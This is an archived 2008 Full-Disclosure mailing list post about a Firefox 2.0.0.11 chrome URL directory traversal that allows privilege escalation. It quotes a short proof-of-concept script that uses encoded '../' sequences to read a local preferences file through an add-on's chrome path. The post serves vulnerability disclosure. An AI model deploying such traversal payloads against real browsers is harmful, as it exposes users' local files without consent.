[Full−disclosure] Firefox 2.0.0.11 Chrome Privilege Escalation PoC

Source: http://www.derkeiler.com/Mailing−Lists/Full−Disclosure/2008−01/msg00453.html

- *From*: "carl hardwick" <hardwick.carl@xxxxxxxxx>
- *Date*: Tue, 22 Jan 2008 19:16:37 +0100

Gerry Eisenhaur came with a surprising post
http://www.hiredhacker.com/2008/01/19/firefox−chrome−url−handling−directory−traversal/
. Gerry found a issue in Firefox that allows chrome privilege
escalation. This is due to weak normalization between URI's that are
handled and passed through Firefox with various path encoding methods.
It's a common mistake in browser software not to translate encoded
values back to their correct values and meaning. I wrote about the
same kind of issue before, that only involved a non−malicious example
of traversing directories through the resource:// pointer. This one by
Gerry is far worse, and I really hope browser vendors take a little
more care in handling any resource identifier internally, because this
can lead to serious issues.

Gerry released a pOc that requires the downbar plugin:

```
<script>pref = function(x, y){document.write(x + ' −> ' + y +
'<br>');};</script>
<script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e
%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script>
```

_____
Full−Disclosure − We believe in it.
Charter: http://lists.grok.org.uk/full−disclosure−charter.html
Hosted and sponsored by Secunia − http://secunia.com/